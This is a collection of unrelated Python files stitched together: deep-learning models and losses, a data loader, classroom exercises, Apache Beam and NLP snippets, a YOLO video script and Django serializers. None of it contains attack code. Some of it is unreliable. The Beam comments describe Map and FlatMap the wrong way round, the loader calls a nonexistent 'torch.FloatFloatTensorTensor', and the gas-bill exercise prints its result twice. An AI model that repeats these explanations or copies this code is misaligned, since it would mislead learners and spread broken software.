"""
    @file:              Module.py
    @Author:            Alexandre Ayotte
    @Creation Date:     05/07/2020
    @Last modification: 05/07/2020

    @ Reference 1): G. Huang, Y. Sun*, Z. Liu , D. Sedra, K. Q. Weinberger Deep Networks with Stochastic Depth

    The WideResNet Model with manifold mixup and dropout2D.
"""

import torch
from Experimentation.Cifar10_wide_resnet.Model import Module
from Experimentation.Cifar10_wide_resnet.Model.Utils import get_stochastic_depth
import numpy as np

class ResBlock(torch.nn.Module):
    def __init__(self, fmap_in, fmap_out, kernel, subsample=False, drop_rate=0):
        """
        Create a wide residual block
        @Inspired by: https://github.com/vikasverma1077/manifold_mixup

        :param fmap_in: Number of input feature maps
        :param fmap_out: Number of output feature maps
        :param kernel: Kernel size as integer (Example: 3.  For a 3x3 kernel)
        :param subsample: If we want to subsample the image.
        :param drop_rate: The hyperparameter of the Dropout2D module.
        """

        torch.nn.Module.__init__(self)

        self.bn1 = torch.nn.BatchNorm2d(fmap_in)
        self.activation1 = torch.nn.ReLU()

        res_layer = [
            torch.nn.Conv2d(fmap_in, fmap_out, kernel_size=kernel, stride=(2 if subsample else 1),
                            padding=1, bias=True)]

        if drop_rate > 0:
            res_layer.extend([torch.nn.Dropout2d(drop_rate)])

        res_layer.extend([
            torch.nn.BatchNorm2d(fmap_out),
            torch.nn.ReLU(),
            torch.nn.Conv2d(fmap_out, fmap_out, kernel_size=kernel, stride=1,
                            padding=1, bias=True)
        ])

        self.residual_layer = torch.nn.Sequential(*res_layer)

        # If subsample is True
        self.subsample = subsample or (fmap_in != fmap_out)
        if subsample or fmap_in != fmap_out:
            self.sub_conv = torch.nn.Conv2d(fmap_in, fmap_out, kernel_size=1, stride=(2 if subsample else 1), bias=True)

    def forward(self, x):
        """
        Define the forward pass of the Residual layer

        :param x: Input tensor of the convolutional layer
        :return: Output tensor of the residual block
        """

        out = self.bn1(x)
        out = self.activation1(out)

        if self.subsample:
            shortcut = self.sub_conv(out)
        else:
            shortcut = x

        out = self.residual_layer(out) + shortcut

        return out

class WideResNet(torch.nn.Module):
    def __init__(self, nb_layer=40, widen_factor=4, task="CIFAR10", drop_rate=0, mixup=None):
        """
        The WideResNet architecture

        :param nb_layer: Number of layer of the model. (Option: 28, 40)
        :param widen_factor parameters of the wide_resnet.
        :param task: The dataset on which the model will be train. (Option: CIFAR, STL10 or ImageNet)
        :param drop_rate: The maximum dropout rate that will be used following instruction gived by (Ref 1).
        :param mixup: A list of 4 element that the define the hyper-parameters of the 4 mixup modules.
                      If the hyper-parameter is 0, then the corresponding mixup module will not create and then not add
                      to the mixup_index list.
        """

        super().__init__()

        self.conv_layers = None
        self.fc_layer = None
        self.mixup_index = []
        self.num_flat_features = None

        if mixup is None:
            mixup = [0, 0, 0, 0]  # Input, level1, level2, level3

        if task == "CIFAR10":
            self.num_classes = 10
        elif task == "CIFAR100":
            self.num_classes = 100
        elif task == "Imagenet":
            self.num_classes = 1000

        self.__build_model(nb_layer, widen_factor, task, drop_rate, mixup)

    def __build_model(self, nb_layer, widen_factor, task, drop_rate, mixup):
        """
        Create the architecture of the model following the givens parameters.

        :param nb_layer: Number of layer of the model. (Option: 28, 40)
        :param widen_factor parameters of the wide_resnet.
        :param task: The dataset on which the model will be train. (Option: CIFAR, STL10 or ImageNet)
        :param drop_rate: The dropout rate of the Dropout2D module.
        :param mixup: A list of 5 element that the define the hyper-parameters of the 5 mixup modules.
                      If the hyper-parameter is 0, then the corresponding mixup module will not create and then not add
                      to the mixup_index list.
        """

        layers = {22: [3, 3, 3], 28: [4, 4, 4], 40: [6, 6, 6]}
        config = layers[nb_layer]
        conv_list = []

        # ------------------------------------------------------------------------------------------
        #                                      INPUT PART
        # ------------------------------------------------------------------------------------------

        if mixup[0] > 0:
            conv_list.extend([Module.Mixup(mixup[0])])
            self.mixup_index.extend([0])

        if task == "CIFAR10":
            out_channels = 16
            ker_size = 3
            num_classes = 10
        elif task == "CIFAR100":
            out_channels = 16
            ker_size = 3
            num_classes = 100
        else:
            out_channels = 16
            ker_size = 7
            num_classes = 1000

        conv_list.extend([torch.nn.Conv2d(3, out_channels, kernel_size=ker_size, padding=1)])

        # ------------------------------------------------------------------------------------------
        #                                      RESIDUAL PART
        # ------------------------------------------------------------------------------------------
        f_in = f_out = out_channels
        drop_rate_list = get_stochastic_depth(np.sum(layers[nb_layer]), max_drop_rate=drop_rate)
        for it in range(len(config)):
            conv_list.extend([ResBlock(f_in * widen_factor if it > 0 else f_in,
                                       f_out * widen_factor,
                                       kernel=3,
                                       subsample=(it != 0),
                                       drop_rate=drop_rate_list.pop(0))])

            f_in = f_out

            for _ in range(config[it] - 1):
                conv_list.extend([ResBlock(f_in * widen_factor,
                                           f_out * widen_factor,
                                           kernel=3,
                                           drop_rate=drop_rate_list.pop(0))])

            # We add the mixup module.
            if mixup[it + 1]:
                self.mixup_index.append(len(conv_list))
                conv_list.extend([Module.Mixup(mixup[it + 1])])

            if it < len(config) - 1:
                f_out *= 2

        conv_list.extend([torch.nn.BatchNorm2d(f_out*widen_factor, momentum=0.9),
                          torch.nn.ReLU(),
                          torch.nn.AvgPool2d(8)]
                         )

        self.conv_layers = torch.nn.Sequential(*conv_list)

        # ------------------------------------------------------------------------------------------
        #                                   FULLY CONNECTED PART
        # ------------------------------------------------------------------------------------------
        self.num_flat_features = f_out*widen_factor

        self.fc_layer = torch.nn.Sequential(torch.nn.Linear(f_out*widen_factor, num_classes))

    def forward(self, x):
        """
        Define the forward pass of the neural network

        :param x: Input tensor of size BxD where B is the Batch size and D is the features dimension
        :return: Output tensor of size num_class x 1.
        """

        conv_out = self.conv_layers(x)
        output = self.fc_layer(conv_out.view(-1, self.num_flat_features))
        return output

    def configure_mixup_module(self, batch_size=150, device="cuda:0"):
        """
        Set up the batch size and device parameters of all mixup modules present in the model.

        :param batch_size: The batch_size that will be used to train the model.
        :param device: The device on which the model will be train.
        """

        for i in self.mixup_index:
            self.conv_layers[i].batch_size = batch_size
            self.conv_layers[i].device = device

    def restore(self, checkpoint_path):
        """
        Restore the weight from the last checkpoint saved during training

        :param checkpoint_path:
        """

        if checkpoint_path is not None:
            checkpoint = torch.load(checkpoint_path)
            self.load_state_dict(checkpoint['model_state_dict'])
            return checkpoint['epoch'], checkpoint['loss'], checkpoint['accuracy']


"""
4.The gas company charges 7.45 cents per unit for the first 55 units
 of gas and 6.85 cents per unit for each extra unit of gas used.
 Write a program that will calculate a customer’s monthly account
when the number of units of gas used is entered.
 The account should be in dollars
"""
gas = float(input("how many units \n"))
if gas <= 55:
    total = gas * 7.45
    print("your bill for this month is $", round(total, 2))
else:
    total = 55 * 7.45 + (gas - 55) * 6.85
print("your bill for this month is $", round(total, 2))

# Good work!


# Stephen Terrio, B00755443

# Packages -
import numpy as np
from numpy.linalg import matrix_power
import math

# Problem 1 A -
# 2 x 2 matrix G, where G = [[1,1],[1,0]] (base value)
ogMatrix = np.matrix([[1,1],[1,0]])

# [1,0]- Transposed
matrixT = np.matrix([1,0]).T

for i in range(8):
    matrixNew = ogMatrix.dot(matrixT) # finding next Fib values
    current = i + 1 # current fib step
    print("STEP: " ,current, "\n" ,matrixNew) # printing
    matrixT = matrixNew # Setting old values to new values for next step

# Problem 1 B -
threeM = matrix_power(ogMatrix,3)
fiveM = matrix_power(ogMatrix,5) # Using power function to calculate G^x
tenM = matrix_power(ogMatrix,10)

print("\nPOWER: 3", threeM)
print("POWER: 5", fiveM) # Print
print("POWER: 10", tenM)

# The pattern of these numbers are also the Fibbonaci sequence !

Python with Science Applicaitons/LabC/LabC.py


# Map and FlatMap are two transform operations in Apache Beam.

# Map operation applies a function to each element in the input data and returns an output collection for each input element.
#  The size of the output collection can be different from the size of the input collection, but it will have the same number of elements in total.

# FlatMap operation applies a function to each element in the input data and returns a single output element for each input element.
# The output elements are then concatenated into a single collection, which is the output of the FlatMap operation.
#  The size of the output collection will be less than or equal to the size of the input collection.

# In summary, Map can change the number of elements in the collection while preserving their count, while FlatMap can change both the number and the count of elements in the collection.

import apache_beam as beam

## Map
p1 = beam.Pipeline()

flights = (
p1
| "Import data" >> beam.io.ReadFromText("flights.csv", skip_header_lines = 1)
| "Separate Commas" >> beam.Map(lambda record: record.split(','))
| "Show results" >> beam.Map(print)

)

# Run Pipeline
p1.run()

## flatmap

p2 = beam.Pipeline()

poem = (

p2 | "Import data" >> beam.io.ReadFromText("poem.txt", skip_header_lines = 1)
| "Apply FlatMap" >> beam.FlatMap(lambda record: record.split(' '))
| "Save Results" >> beam.io.WriteToText("results.txt")

)

p2.run()


from contractions import CONTRACTION_MAP
import re
def expand_contractions(text, map=CONTRACTION_MAP):
    '1- Expanding Contraction'
    pattern = re.compile('({})'.format('|'.join(map.keys())), flags=re.IGNORECASE|re.DOTALL)
    def get_match(contraction):
        match = contraction.group(0)
        first_char = match[0]
        expanded = map.get(match) if map.get(match) else map.get(match.lower())
        expanded = first_char+expanded[1:]
        return expanded
    new_text = pattern.sub(get_match, text)
    new_text = re.sub("'", "", new_text)
    return new_text

import string
import unicodedata
def preprocessStepOne(text):
    '''
    2- lowercase
    3- remove numbers
    4- remove punctuation
    5- remove accented characters
    6- removing extra whitespaces and tabs
    '''
    text = text.lower()
    text = re.sub(r'\d+','',text)
    text = ''.join([c for c in text if c not in string.punctuation])
    text = unicodedata.normalize('NFKD',text).encode('ascii','ignore').decode('utf-8','ignore')
    pattern = r'^\s*|\s\s*'
    text = re.sub(pattern, ' ', text).strip()
    return text

import nltk
# nltk.download('stopwords')
from nltk.tokenize import ToktokTokenizer
tokenizer = ToktokTokenizer()
stopword_list = nltk.corpus.stopwords.words('english')
# custom: removing words from list
stopword_list.remove('not')# function to remove stopwords
def remove_stopwords(text):
    '7- remove stop words'
    # convert sentence into token of words
    tokens = tokenizer.tokenize(text)
    tokens = [token.strip() for token in tokens]
    # check in lowercase
    t = [token for token in tokens if token.lower() not in stopword_list]
    text = ' '.join(t)
    return text

def get_stem(text):
    '8- text stemming'
    stemmer = nltk.porter.PorterStemmer()
    return ' '.join([stemmer.stem(word) for word in text.split()])


import re
import glob
import json
import torch
import pickle
import random
import constant as C
from allennlp.modules.elmo import batch_to_ids

DIGIT_PATTERN = re.compile('\d')

def mask_to_distance(mask, mask_len, decay=.1):
    start = mask.index(1)
    end = mask_len - list(reversed(mask)).index(1)
    dist = [0] * mask_len
    for i in range(start):
        dist[i] = max(0, 1 - (start - i - 1) * decay)
    for i in range(end, mask_len):
        dist[i] = max(0, 1 - (i - end) * decay)
    return dist

def offset_to_distance(start, end, seq_len, decay=.1):
    dist = [0] * seq_len
    for i in range(start):
        dist[i] = max(0, 1 - (start - i - 1) * decay)
    for i in range(end, seq_len):
        dist[i] = max(0, 1 - (i - end) * decay)
    return dist

class BufferDataset(object):
    def __init__(self,
                 path,
                 buffer_size=100000,
                 max_seq_len=-1,
                 buffer=True,
                 pad=C.PAD_INDEX):
        self.path = path
        self.pad = pad
        self.data = []
        self.files = []
        self.batches = []
        self.max_seq_len = max_seq_len
        self.buffer_size = buffer_size
        self.total_size = 0
        self.buffer = buffer
        self.count_total_size()

    @property
    def chunk_num(self):
        return len(self.chunks)

    @property
    def chunks(self):
        chunks = glob.glob(self.path + '.bin.*')
        return chunks

    def __len__(self):
        return self.total_size

    def count_total_size(self):
        line_idx = 0
        with open(self.path + '.meta', 'r', encoding='utf-8') as r:
            for line_idx, _ in enumerate(r, 1):
                pass
        self.total_size = line_idx

    @staticmethod
    def preprocess(input_file, output_file, label_stoi, chunk_size=10000):
        # shuffle the data
        print('Shuffling and chunking data')
        inst_num = 0
        with open(input_file, 'r', encoding='utf-8') as r:
            for inst_num, _ in enumerate(r, 1):
                pass
        chunk_num = inst_num // chunk_size + (inst_num % chunk_size > 0)
        inst_idxs = [i for i in range(inst_num)]
        random.shuffle(inst_idxs)
        inst_chunk = [0] * inst_num
        for chunk_idx, chunk_start in enumerate(range(0, inst_num, chunk_size)):
            chunk = inst_idxs[chunk_start:chunk_start + chunk_size]
            for inst_idx in chunk:
                inst_chunk[inst_idx] = chunk_idx

        # metadata
        print('Writing metadata')
        with open(output_file + '.meta', 'w', encoding='utf-8') as w:
            for idx, chunk_idx in enumerate(inst_chunk):
                w.write('{}\t{}\n'.format(idx, chunk_idx))

        # split the original file into chunks
        print('Writing chunks')
        writers = [open(output_file + '.txt.{:03d}'.format(idx), 'w')
                   for idx in range(chunk_num)]
        with open(input_file, 'r', encoding='utf-8') as r:
            for inst_idx, line in enumerate(r):
                writers[inst_chunk[inst_idx]].write(line)
        for w in writers:
            w.close()

        # numberize data
        print('Numberizing chunks')
        for chunk_idx in range(chunk_num):
            print('\rProcessed {}/{}'.format(chunk_idx + 1, chunk_num), end='')
            with open(output_file + '.txt.{:03d}'.format(chunk_idx), 'r') as r, \
                open(output_file + '.bin.{:03d}'.format(chunk_idx), 'wb') as w:
                chunk = [BufferDataset.numberize(json.loads(line), label_stoi)
                         for line in r]
                pickle.dump(chunk, w)
        print()

    @staticmethod
    def numberize(inst, label_stoi):
        tokens = inst['tokens']
        tokens = [C.TOK_REPLACEMENT.get(t, t) for t in tokens]
        seq_len = len(tokens)
        char_ids = batch_to_ids([tokens])[0].tolist()
        labels_nbz, men_mask, ctx_mask, men_ids = [], [], [], []
        annotations = inst['annotations']
        anno_num = len(annotations)
        for annotation in annotations:
            mention_id = annotation['mention_id']
            labels = annotation['labels']
            labels = [l.replace('geograpy', 'geography') for l in labels]
            start = annotation['start']
            end = annotation['end']

            men_ids.append(mention_id)
            labels = [label_stoi[l] for l in labels if l in label_stoi]
            labels_nbz.append(labels)
            men_mask.append([1 if i >= start and i < end else 0
                             for i in range(seq_len)])
            ctx_mask.append([1 if i < start or i >= end else 0
                             for i in range(seq_len)])
        return (char_ids, labels_nbz, men_mask, ctx_mask, men_ids, anno_num,
                seq_len)

    def load(self, shuffle=False):
        self.data = []
        if self.buffer:
            while len(self.data) < self.buffer_size and len(
                    self.data) < self.total_size:
                if len(self.files) == 0:
                    self.files = glob.glob(self.path + '.bin.*')
                    if shuffle:
                        random.shuffle(self.files)
                file = self.files.pop()
                if self.max_seq_len > 0:
                    data = pickle.load(open(file, 'rb'))
                    for inst in data:
                        if inst[-1] < self.max_seq_len:
                            self.data.append(inst)
                else:
                    self.data.extend(pickle.load(open(file, 'rb')))
        else:
            files = glob.glob(self.path + '.bin.*')
            if shuffle:
                random.shuffle(files)
            # Load all files
            for file in files:
                if self.max_seq_len > 0:
                    data = pickle.load(open(file, 'rb'))
                    for inst in data:
                        if inst[-1] < self.max_seq_len:
                            self.data.append(inst)
                else:
                    self.data.extend(pickle.load(open(file, 'rb')))

    def sample_batches(self, batch_size=100, drop_last=False,
                       shuffle=False):
        # Load data
        if self.buffer or len(self.data) == 0:
            self.load(shuffle)
        inst_num = len(self.data)
        inst_idxs = [i for i in range(inst_num)]
        # Shuffle instance indexes
        if shuffle:
            random.shuffle(inst_idxs)
        # Split the indexes into batches
        self.batches = [inst_idxs[i:i + batch_size]
                        for i in range(0, inst_num, batch_size)]
        # Drop the last batch
        if drop_last and len(self.batches[-1]) != batch_size:
            self.batches = self.batches[:-1]

    def next_batch(self, label_size, batch_size=100, drop_last=False,
                   shuffle=False, gpu=True):
        # Load data and generate batches
        if len(self.batches) == 0:
            self.sample_batches(batch_size, drop_last, shuffle)

        # Get the batch
        batch_idxs = self.batches.pop()
        batch = [self.data[idx] for idx in batch_idxs]
        # Process the batch
        seq_lens = [x[-1] for x in batch]
        max_seq_len = max(seq_lens)

        batch_char_ids = []
        batch_labels = []
        batch_men_mask = []
        batch_dist = []
        batch_ctx_mask = []
        batch_gathers = []
        batch_men_ids = []
        for inst_idx, inst in enumerate(batch):
            char_ids, labels, men_mask, ctx_mask, men_ids, anno_num, seq_len = inst
            batch_char_ids.append(char_ids + [[self.pad] * C.ELMO_MAX_CHAR_LEN
                                              for _ in range(max_seq_len - seq_len)])
            for ls in labels:
                batch_labels.append([1 if l in ls else 0
                                     for l in range(label_size)])
            for mask in men_mask:
                batch_men_mask.append(mask + [self.pad] * (max_seq_len - seq_len))
                batch_dist.append(mask_to_distance(mask, seq_len)
                                  + [self.pad] * (max_seq_len - seq_len))
            for mask in ctx_mask:
                batch_ctx_mask.append(mask + [self.pad] * (max_seq_len - seq_len))
            batch_gathers.extend([inst_idx] * anno_num)
            batch_men_ids.extend(men_ids)

        if gpu:
            batch_char_ids = torch.cuda.LongTensor(batch_char_ids)
            batch_labels = torch.cuda.FloatTensor(batch_labels)
            batch_men_mask = torch.cuda.FloatTensor(batch_men_mask)
            batch_ctx_mask = torch.cuda.FloatTensor(batch_ctx_mask)
            batch_gathers = torch.cuda.LongTensor(batch_gathers)
            batch_dist = torch.cuda.FloatTensor(batch_dist)

        else:
            batch_char_ids = torch.LongTensor(batch_char_ids)
            batch_labels = torch.FloatTensor(batch_labels)
            batch_men_mask = torch.FloatFloatTensorTensor(batch_men_mask)
            batch_ctx_mask = torch.LongTensor(batch_ctx_mask)
            batch_gathers = torch.LongTensor(batch_gathers)
            batch_dist = torch.FloatTensor(batch_dist)

        return (batch_char_ids, batch_labels, batch_men_mask, batch_ctx_mask,
                batch_dist, batch_gathers, batch_men_ids)

    def all_batches(self, label_size, batch_size, drop_last=False,
                    shuffle=False, gpu=True):
        self.sample_batches(batch_size, drop_last, shuffle)
        while len(self.batches) > 0:
            yield self.next_batch(label_size, batch_size, drop_last,
                                  shuffle, gpu)


import torch
import torch.distributed as dist
import torch.nn.functional as F

from lightly.utils.dist import gather

class VICRegLoss(torch.nn.Module):
    """Implementation of the VICReg Loss from VICReg[0] paper.
    This implementation follows the code published by the authors. [1]

    [0] Bardes, A. et. al, 2022, VICReg... https://arxiv.org/abs/2105.04906
    [1] https://github.com/facebookresearch/vicreg/

    Examples:

        >>> # initialize loss function
        >>> loss_fn = VICRegLoss()
        >>>
        >>> # generate two random transforms of images
        >>> t0 = transforms(images)
        >>> t1 = transforms(images)
        >>>
        >>> # feed through model
        >>> out0, out1 = model(t0, t1)
        >>>
        >>> # calculate loss
        >>> loss = loss_fn(out0, out1)
    """

    def __init__(
        self,
        lambda_param: float = 25.0,
        mu_param: float = 25.0,
        nu_param: float = 1.0,
        gather_distributed : bool = False,
        eps = 0.0001
    ):
        """Lambda, mu and nu params configuration with default value like in [0]
        Args:
            lambda_param:
                Coefficient for the invariance term of the loss
                Defaults to 25.0 [0].
            mu_param:
                Coefficient for the variance term of the loss
                Defaults to 25.0 [0].
            nu_param:
                Coefficient for the covariance term of the loss
                Defaults to 1.0 [0].
            gather_distributed:
                If True then the cross-correlation matrices from all gpus are
                gathered and summed before the loss calculation.
            eps:
                Numerical epsilon
                Defaults to 0.0001 [1].
        """
        super(VICRegLoss, self).__init__()
        self.lambda_param = lambda_param
        self.mu_param = mu_param
        self.nu_param = nu_param
        self.gather_distributed = gather_distributed

        self.eps = eps

    def forward(self, z_a: torch.Tensor, z_b: torch.Tensor) -> torch.Tensor:
        assert z_a.shape[0] > 1 and z_b.shape[0] > 1, f"z_a and z_b must have batch size > 1 but found {z_a.shape[0]} and  {z_b.shape[0]}"
        assert z_a.shape == z_b.shape, f"z_a and z_b must have same shape but found {z_a.shape} and {z_b.shape}."

        # invariance term of the loss
        repr_loss = F.mse_loss(z_a, z_b)

        # gather all batches
        if self.gather_distributed and dist.is_initialized():
            world_size = dist.get_world_size()
            if world_size > 1:
                z_a = torch.cat(gather(z_a), dim=0)
                z_b = torch.cat(gather(z_b), dim=0)

        # normalize repr. along the batch dimension
        z_a = z_a - z_a.mean(0) # NxD
        z_b = z_b - z_b.mean(0) # NxD

        N = z_a.size(0)
        D = z_a.size(1)

        # variance term of the loss
        std_x = torch.sqrt(z_a.var(dim=0) + self.eps)
        std_y = torch.sqrt(z_b.var(dim=0) + self.eps)
        std_loss = 0.5 * (torch.mean(F.relu(1 - std_x)) + torch.mean(F.relu(1 - std_y)))

        # covariance term of the loss
        cov_x = (z_a.T @ z_a) / (N - 1)
        cov_y = (z_b.T @ z_b) / (N - 1)

        # compute off-diagonal elements
        n, _ = cov_x.shape
        off_diag_cov_x = cov_x.flatten()[:-1].view(n - 1, n + 1)[:, 1:].flatten()
        off_diag_cov_y = cov_y.flatten()[:-1].view(n - 1, n + 1)[:, 1:].flatten()

        cov_loss = off_diag_cov_x.pow_(2).sum().div(D) + off_diag_cov_y.pow_(2).sum().div(D)

        # loss
        loss = self.lambda_param * repr_loss + self.mu_param * std_loss + self.nu_param * cov_loss

        return loss


from scipy.spatial import distance

"""
create my own nearest neighbor classifier
"""
class KNNeighbors():
	def fit(self, x_train, y_train):
		self.x_train = x_train
		self.y_train = y_train

	def predict(self, x_test):
		predictions = [self.closest(data) for data in x_test]
		return predictions

	def closest(self, data):
		nearest = distance.euclidean(data, self.x_train[0])
		nearestIndex = 0
		for i in range(1, len(self.x_train)):
			dist = distance.euclidean(data, self.x_train[i])
			if dist < nearest:
				nearest = dist
				nearestIndex = i
		#return output of best input
		return self.y_train[nearestIndex]

"""
use demo code on my own classifier
"""
from sklearn import datasets
iris = datasets.load_iris()

#using iris database which is pretty popular
x = iris.data
y = iris.target #f(x) = y

from sklearn.cross_validation import train_test_split
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.5)

clfr = KNNeighbors()

#train classifier on given input/output
clfr.fit(x_train, y_train)
#generate predicted output of x-test data from our classifier
predictions = clfr.predict(x_test)

from sklearn.metrics import accuracy_score
#compare the output of the x-test data to the expected output of y-test
print(accuracy_score(y_test, predictions))


import cv2
import numpy as np

# Create a NumPy array with 3 channels (RGB) and a width and height of 5
array = np.zeros((5, 5, 3), dtype=np.uint8)

# Set the pixel values to create the number 2
# array[1, 1:4, :] = [0, 0, 0]
# array[2, 2, :] = [0, 0, 0]
# array[3, 1:4, :] = [0, 0, 0]
# array[4, 1, :] = [0, 0, 0]

# Fill the array with a green color
array[:, :, 1] = 255

# Set the central pixel to red
array[2, 2, 0] = 255

# Convert the NumPy array to a OpenCV image
img = cv2.cvtColor(array, cv2.COLOR_RGB2BGR)

# Save the image
cv2.imwrite('image.png', img)

print(array)

pages/themes/Numpy_Image_Processing/examples/Create Colored Image from Numpy array.py


def quickSort(n):

    quickSortHelper(n, 0, len(n)-1)

def quickSortHelper(n, first, last):

    if first < last:

        splitPoint = partition(n, first, last)

        quickSortHelper(n, first, splitPoint -1)
        quickSortHelper(n, splitPoint +1, last)

def partition(n, first, last):

    pivotValue = n[first]

    leftMark = first +1
    rightMark = last

    done = False

    while not done:

        while leftMark <= rightMark and n[leftMark] <= pivotValue:
            leftMark += 1

        while n[rightMark] >= pivotValue and rightMark >= leftMark:

            rightMark -= 1

        if rightMark < leftMark:
            done = True

        else:
            temp = n[leftMark]
            n[leftMark] = n[rightMark]
            n[rightMark] = temp

    temp = n[first]
    n[first] = n[rightMark]
    n[rightMark] = temp

    return rightMark

alist = [54, 26, 93, 17, 77, 31, 44, 55, 20]
quickSort(alist)
print(alist)


"""
    Key-Value pair
    Key can be string, int or any immutable data type
"""
student = {'name': 'John', 'age': 25, 'courses': ['Math', 'CompSci']}

student['name'] # Returns John
student['phone'] # Returns KeyError
student.get('phone') # Returns None
student.get('phone', 'Not Found') # Returns Not Found

student['phone'] = '555-5555' # Add Phone
student['name'] = 'Jane' # Update Name

# To update multiple things at a time
student.update({'name': 'Julie', 'age': 26, 'phone': '555-5566'})

# Delete
del student['age']
age = student.pop('age') # returns what's removed

# List all Key values
student.keys()
student.values()
student.items()

# Loop through Dict:

# Way - 1:
for key in student:
    print(key)

# Way - 2:
for key, value in student.items():
    print(key, value)


# Task 03.
# Узнать у пользователя число n. Найдите сумму чисел n + nn + nnn.
# Используется длинное решение
# Можно короче, без приведения типов
# >> vs_num_in = input("Введите число: ")
# >> print("Результат: " + str(eval( vs_num_in + " + " + vs_num_in*2 + " + " + vs_num_in*3 )))

vn_num_in = int(input("Введите число: "))
vs_expression = str(vn_num_in) + " + " + str(vn_num_in)*2 + " + " + str(vn_num_in)*3
vn_rezult = eval(vs_expression)
print("Результат: " + str(vn_rezult))


# This is a program to process test scores from a file
# with built in error handling.

import os.path
from os import path
import sys

def input_file():
    grades = []
    try:
        with open("scores.txt", "r") as file:
            first = file.readline()
            if any(char.isdigit() for char in first):
                print("Error with header")
                sys.exit()
            else:
                for line in file:
                    line = line.strip()
                    grades.append(line)
    except:
        print("Error reading scores.txt")
        print(sys.exc_info()[1])
    for index in grades:
        index = index.strip()
        index = index.replace(",", " ")
        print(index)
    return grades

def process_file(grades):
    numbers = []
    for each in grades:
        each = each.split(",")
        try:
            numbers.append(each[1])
        except:
            print("Error with formatting")
            print(sys.exc_info()[1])
            sys.exit()
        try:
            numbers = [int(convert) for convert in numbers]
        except:
            print("Expected score value is not numeric")
            print(sys.exc_info()[1])
            sys.exit()
    return numbers

def process_high(numbers):
    maximum = max(numbers)
    return maximum

def process_low(numbers):
    minimum = min(numbers)
    return minimum

def process_average(numbers):
    middle = sum(numbers) / len(numbers)
    middle = round(middle, 2)
    return middle

def output_scores(grades, maximum, minimum, middle):
    print("The highest score was " + str(maximum) + ".")
    print("The lowest score was " + str(minimum) + ".")
    print("The class average was " + str(middle) + ".")

def main():
    if path.exists("scores.txt") and os.path.getsize("scores.txt") > 0:
        grades = input_file()
        numbers = process_file(grades)
        maximum = process_high(numbers)
        minimum = process_low(numbers)
        middle = process_average(numbers)
        output_scores(grades, maximum, minimum, middle)
    else:
        print("Error finding file or file is empty")

main()


import cv2
from darkflow.net.build import TFNet
import numpy as np
import time

import tensorflow as tf
config = tf.ConfigProto()
config.gpu_options.allow_growth = True
sess = tf.Session(config=config)

options = {

        'model':'C:/Users/LENOVO/Anaconda3/darkflow-master/cfg/yolo.cfg',
        'load':'C:/Users/LENOVO/Desktop/project/darkflow-master/darkflow-master/bin/yolov2.weights',
        'threshold':0.3,
        'gpu': 1.0
        }

tfnet = TFNet(options)  #print modlw arch
count=0
capture = cv2.VideoCapture("C:\\Users\\LENOVO\\Desktop\\project\\mansi\\video.mp4")
colors = [tuple(255 * np.random.rand(3)) for i in range(5)]
#it returns a tuple containing 5 (R,G,B) sets
print(colors)
fourcc = cv2.VideoWriter_fourcc(*'XVID')
out11 = cv2.VideoWriter('C:\\Users\\LENOVO\\Desktop\\project\\mansi\\output2.mp4',fourcc, 20.0, (1500,800))
#This time we create a VideoWriter object. We should specify the output file name (eg: output.avi).
#Then we should specify the FourCC code (details in next paragraph). Then number of frames per
#second (fps) and frame size should be passed. And last one is isColor flag. If it is True,
#encoder expect color frame, otherwise it works with grayscale frame.
count=0
while (capture.isOpened()):
    stime = time.time()
    ret, frame = capture.read()
    if ret:
        results = tfnet.return_predict(frame)
        for color, result in zip(colors, results):
            tl = (result['topleft']['x'], result['topleft']['y'])
            br = (result['bottomright']['x'], result['bottomright']['y'])
            label = result['label']
            frame = cv2.rectangle(frame, tl, br, color, 7)
            frame = cv2.putText(frame, label, tl, cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2)
        resize=cv2.resize(frame,(640,480))
        cv2.imshow('video',resize)
        out11.write(resize)
        print('FPS {:.1f}'.format(1 / (time.time() - stime)))
        if cv2.waitKey(1) & 0xFF == ord('q'):
            break
    else:
        capture.release()
        cv2.destroyAllWindows()
        break
print("finished")
out11.release()
cv2.destroyAllWindows()


from os import getenv
from os.path import splitext

from rest_framework.exceptions import ValidationError
from rest_framework.serializers import (
    ModelSerializer,
    FileField,
    PrimaryKeyRelatedField,
    CharField,
    DateTimeField,
    SerializerMethodField,
)

from .models import Video, Channel, Comment, WebPushToken

class VideoSerializer(ModelSerializer):

    video_file = FileField(required=False)
    channel = PrimaryKeyRelatedField(queryset=Channel.objects.all(), required=False)
    username = CharField(source="channel.owner.first_name", read_only=True)
    user_email = CharField(source="channel.owner.email", read_only=True)
    user_avatar = CharField(source="channel.owner.avatar.url")
    upload_date = DateTimeField(format="%d-%m-%Y")
    imagekit_url = SerializerMethodField()

    class Meta:
        model = Video
        fields = (
            "id",
            "channel",
            "title",
            "description",
            "video_file",
            "hashtag",
            "upload_date",
            "likes",
            "username",
            "user_email",
            "user_avatar",
            "views",
            "imagekit_url",
        )

    def get_imagekit_url(self, obj):
        if not obj.video_file:
            return None
        elif getenv("IMAGEKIT") == "imagekit":
            imagekit_url = "ik.imagekit.io/videohub"
        elif getenv("IMAGEKIT") == "imgix":
            imagekit_url = "doszhan.imgix.net"
        else:
            imagekit_url = obj.video_file.url
            return imagekit_url
        aws_url = "mediastatic.s3.amazonaws.com"
        url = obj.video_file.url.replace(aws_url, imagekit_url)
        return url

class UpdateCreateVideoSerializer(ModelSerializer):

    video_file = FileField(required=False)

    class Meta:
        model = Video
        exclude = ("channel",)

    def validate_video_file(self, value):
        file_extension = splitext(value.name)[-1].lower()
        extensions = [".mov", ".avi", ".mp4", ".webm", ".mkv"]
        if file_extension not in extensions:
            raise ValidationError
        return value

class CommentSerializer(ModelSerializer):
    class Meta:
        model = Comment
        fields = ("id", "text", "user", "create")

class CreateCommentSerializer(ModelSerializer):
    class Meta:
        model = Comment
        fields = ("text", "video")

class WebPushSerializer(ModelSerializer):
    class Meta:
        model = WebPushToken
        fields = "__all__"


with open('day_3/day_3.txt') as file:
    data = file.read()

A = [[n for n in lst] for lst in data.split('\n')]
def part_one(right, down):
    R, C = len(A), len(A[0])
    res = 0
    i, j = 0, 0
    while i + 1 < R:

        i += down
        j += right
        if A[i][j % C] == '#':
            res += 1
    return res

def part_two():
    slopes = [[1,1],[3, 1],[5,1],[7,1],[1,2]]
    prod = 1
    for x, y in slopes:
        prod *= part_one(x, y)
    print(prod)

part_two()


# how to create a class

# syntax
class Class_name:
    def reading(self):  #method1
        print("reading books")
    def writing(self):  #method2
        print("writing a book")
